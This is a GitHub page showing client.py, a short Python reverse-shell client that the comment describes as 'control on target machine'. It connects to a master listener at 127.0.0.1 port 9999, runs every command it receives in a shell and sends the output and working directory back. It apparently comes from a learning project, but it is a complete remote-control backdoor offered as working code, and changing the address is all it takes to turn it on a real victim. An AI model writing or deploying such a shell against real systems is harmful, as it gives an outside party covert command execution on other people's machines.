-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
60 lines (52 loc) · 1.73 KB
/
client.py
File metadata and controls
60 lines (52 loc) · 1.73 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import socket
import os
import subprocess
# control on target machine
def ConnectToMaster():
global clientSock
global host
global port
clientSock = socket.socket()
host = '127.0.0.1' #127.0.0.1
port = 9999
clientSock.connect((host, port))
def setFormat(data):
i = str(len(data.encode()))# string of the len of the binary v of data
if(int(i) > 9999):
return "### special code ###"
i = i.zfill(14)
print(len(str(i).encode()))
return i + data
# need to encode the return
def ClientLoop():
output_str = ""
while True:
try:
try:
dataLen = int((clientSock.recv(14)).decode())
data = clientSock.recv(dataLen)
except:
continue
if data.decode("utf-8") == 'cd':
clientSock.send(str.encode(setFormat(str(os.getcwd()))))
continue
if (len(data) > 0):
cmd = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # opening a process. mwanging the I/O
output_bytes = cmd.stdout.read() + cmd.stderr.read() # the errors and outputs
output_str = str(output_bytes, "utf-8")
clientSock.send(str.encode(setFormat(output_str + str(os.getcwd()) + '.')))
print(output_str)
except socket.error as msg:
print("Oh boy")
print(output_str)
clientSock.close()
print(msg)
break
except:
print("Come on")
clientSock.send(str.encode(setFormat("Eror Occured")))
def main():
ConnectToMaster()
ClientLoop()
if __name__ == '__main__':
main()